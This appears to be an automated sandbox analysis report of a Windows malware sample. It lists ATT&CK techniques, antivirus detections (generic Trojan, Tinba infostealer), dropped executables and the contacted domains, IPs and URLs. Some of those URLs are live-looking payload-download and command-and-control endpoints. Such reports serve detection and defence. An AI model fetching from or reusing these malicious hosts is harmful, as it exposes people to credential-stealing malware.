Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsDGCFHIDAKE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	100%	Joe Sandbox ML
C:\Users\user\DocumentsDGCFHIDAKE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://navygenerayk.store/a	100%	Avira URL Cloud	malware
https://navygenerayk.store/apiC#l	100%	Avira URL Cloud	malware
https://navygenerayk.store/q	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeeC	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpation	100%	Avira URL Cloud	malware
https://navygenerayk.store:443/api=	100%	Avira URL Cloud	malware
https://navygenerayk.store/y	100%	Avira URL Cloud	malware
https://navygenerayk.store/i	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phprowser	100%	Avira URL Cloud	malware
https://navygenerayk.store/O	100%	Avira URL Cloud	malware
http://185.215.113.206p	0%	Avira URL Cloud	safe
https://navygenerayk.store/kk	100%	Avira URL Cloud	malware
http://185.215.113.2068	0%	Avira URL Cloud	safe
https://navygenerayk.store/api0	100%	Avira URL Cloud	malware
https://navygenerayk.store/)	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpL$	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	100%	Avira URL Cloud	malware
http://185.215.113.206/mf	100%	Avira URL Cloud	malware
http://185.215.113.206/E=_	100%	Avira URL Cloud	malware
http://185.215.113.206/r$T	100%	Avira URL Cloud	malware
0/80/home.fvteja5sb.top	0%	Avira URL Cloud	safe
https://navygenerayk.store/apiG$h	100%	Avira URL Cloud	malware
QUERY\|rd\|A\|IN\|home.fvteja5sb.top	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/msvcp140.dll%A	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5062coded#4	100%	Avira URL Cloud	phishing
https://thumbystriw.store/	100%	Avira URL Cloud	phishing
QUERY\|rd\|AAAA\|IN\|home.fvteja5sb.top	0%	Avira URL Cloud	safe
https://navygenerayk.store/apik	100%	Avira URL Cloud	malware
http://fvteja5sb.top/v1/upload.php	100%	Avira URL Cloud	malware
https://navygenerayk.store/apiq	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe:J&	100%	Avira URL Cloud	phishing
http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho17	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpd	100%	Avira URL Cloud	malware
http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho1731126585	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exes6	100%	Avira URL Cloud	phishing
home.fvteja5sb.top	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpj	100%	Avira URL Cloud	malware
http://185.215.113.16/~1	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.78	true	false	high
play.google.com	142.250.185.238	true	false	high
www.google.com	142.250.185.100	true	false	high
home.fvteja5sb.top	185.228.235.50	true	false	high
navygenerayk.store	188.114.97.3	true	false	high
fvteja5sb.top	185.228.235.50	true	false	high
presticitpo.store	unknown	unknown	false	high
founpiuer.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
necklacedmny.store	false		high
fadehairucw.store	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
https://navygenerayk.store/api	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
founpiuer.store	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
crisiwarny.store	false		high
scriptyprefej.store	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
0/80/home.fvteja5sb.top	true	Avira URL Cloud: safe	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
QUERY\|rd\|A\|IN\|home.fvteja5sb.top	true	Avira URL Cloud: safe	unknown
http://fvteja5sb.top/v1/upload.php	true	Avira URL Cloud: malware	unknown
QUERY\|rd\|AAAA\|IN\|home.fvteja5sb.top	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho1731126585	true	Avira URL Cloud: malware	unknown
home.fvteja5sb.top	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe	false		high
presticitpo.store	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	false		high
http://www.broofa.com	chromecache_84.3.dr	false		high
https://navygenerayk.store:443/apiK	e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store/i	e41fd24755.exe, 00000010.00000002.2933805219.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911806332.0000000000944000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store/apiC#l	e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/es	skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	false		high
https://navygenerayk.store/a	e41fd24755.exe, 00000010.00000003.2777872776.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2771398347.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777649984.0000000000944000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store:443/api=	e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/ocal	d357e68128.exe, 0000000F.00000002.2722879567.0000000000C09000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store:443/api	e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store/y	e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://founpiuer.store:443/api	e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_86.3.dr	false		high
http://185.215.113.206Local	file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	false		high
https://navygenerayk.store/q	e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://curl.se/docs/hsts.html	923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	false		high
https://navygenerayk.store/O	e41fd24755.exe, 0000000E.00000003.2721578056.0000000000E89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	HCAEHDHDAKJEBGCBKKJE.0.dr	false		high
http://185.215.113.16/off/def.exeeC	e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://navygenerayk.store/A	e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/c4becf79229cb002.phprowser	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store/	e41fd24755.exe, 0000000E.00000003.2721578056.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633659651.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2721699653.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2647481918.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2721611399.0000000000EA7000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634220328.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2681172541.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2933805219.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.0000000000877000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2871749108.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2792881195.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911806332.0000000000944000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store/Y	e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://thumbystriw.store:443/api	e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.2068	d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	false		high
https://navygenerayk.store/kk	e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpL$	d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://navygenerayk.store/-	e41fd24755.exe, 0000000E.00000003.2869616730.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869485239.0000000000EA7000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2934110020.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206p	d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	false		high
https://navygenerayk.store/)	e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store/api0	e41fd24755.exe, 00000010.00000003.2852306554.0000000000949000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911247107.0000000000947000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2933972241.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2903824291.0000000000947000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2854263545.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2877076197.000000000094F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/r$T	d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016TOqEAUpK	file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	d357e68128.exe, 0000000F.00000002.2722879567.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/mf	d357e68128.exe, 0000000F.00000002.2722879567.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1853070758.000000001D2CE000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633784326.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777455854.00000000052C5000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2774824232.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	e41fd24755.exe, 00000010.00000003.2813133216.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://plus.google.com	chromecache_86.3.dr	false		high
http://185.215.113.206/E=_	file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll%A	file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://thumbystriw.store/	e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://navygenerayk.store/apiG$h	e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/a	skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	e41fd24755.exe, 0000000E.00000003.2633784326.000000000582E000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2774824232.00000000052CE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/def.exe	e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe5062coded#4	skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	e41fd24755.exe, 00000010.00000003.2777455854.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients6.google.com	chromecache_86.3.dr	false		high
http://html4/loose.dtd	923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	file.exe, 00000000.00000003.1955392886.0000000023638000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store/apik	e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe:J&	file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exes6	skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
